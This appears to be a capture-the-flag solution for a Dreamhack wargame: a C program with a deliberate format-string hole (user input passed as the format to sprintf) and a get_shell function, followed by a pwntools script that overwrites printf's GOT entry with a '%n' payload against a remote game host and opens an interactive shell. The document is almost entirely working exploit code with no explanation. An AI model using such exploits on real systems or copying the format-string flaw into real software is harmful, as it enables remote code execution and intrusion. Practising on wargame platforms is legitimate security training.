#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

from pwn import *

context.arch = "i386"
context.log_level = 'debug'

get_shell_addr = 0x0804867b #134514299
printf_plt = 0x8048460
printf_got = 0x804a010
libc_start_main = 0xf7e1b647

p = remote("host3.dreamhack.games", 20584)
# p = remote("localhost",----)
# sleep(5)
# print(proc.pid_by_name("docker_basic_exploitation_003"))
pause()

fstring = p32(printf_got) 
fstring += p32(printf_got+1) 
fstring += p32(printf_got+3) 
fstring += b'%111x%6$n%1035c%7$n%2946c%8$n' #앞에 4바이트 포함

p.sendline(fstring)
pause()

p.interactive()